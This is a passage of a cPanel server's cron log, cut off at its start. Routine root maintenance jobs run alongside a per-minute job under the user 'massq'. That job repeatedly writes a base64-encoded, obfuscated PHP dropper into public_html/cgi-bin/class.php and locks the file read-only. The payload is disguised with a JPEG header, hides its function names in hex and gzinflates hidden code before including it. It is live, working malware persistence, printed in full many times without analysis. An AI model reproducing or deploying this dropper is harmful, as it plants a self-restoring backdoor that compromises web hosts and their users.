4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:35:01 server CROND[28361]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:35:01 server CROND[28363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:35:01 server CROND[28364]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 05:35:01 server CROND[28366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:35:01 server CROND[28365]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 05:36:01 server CROND[28473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:37:01 server CROND[28522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:38:01 server CROND[28570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:39:01 server CROND[28613]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 05:39:01 server CROND[28614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:40:01 server CROND[28668]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 05:40:01 server CROND[28669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:40:01 server CROND[28670]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:40:01 server CROND[28671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:41:01 server CROND[28863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:42:01 server CROND[28919]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 05:42:01 server CROND[28920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:43:01 server CROND[28972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:44:01 server CROND[29021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:45:01 server CROND[29066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:45:01 server CROND[29067]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 05:45:01 server CROND[29068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 05:46:01 server CROND[29268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 05:47:01 server CROND[29313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
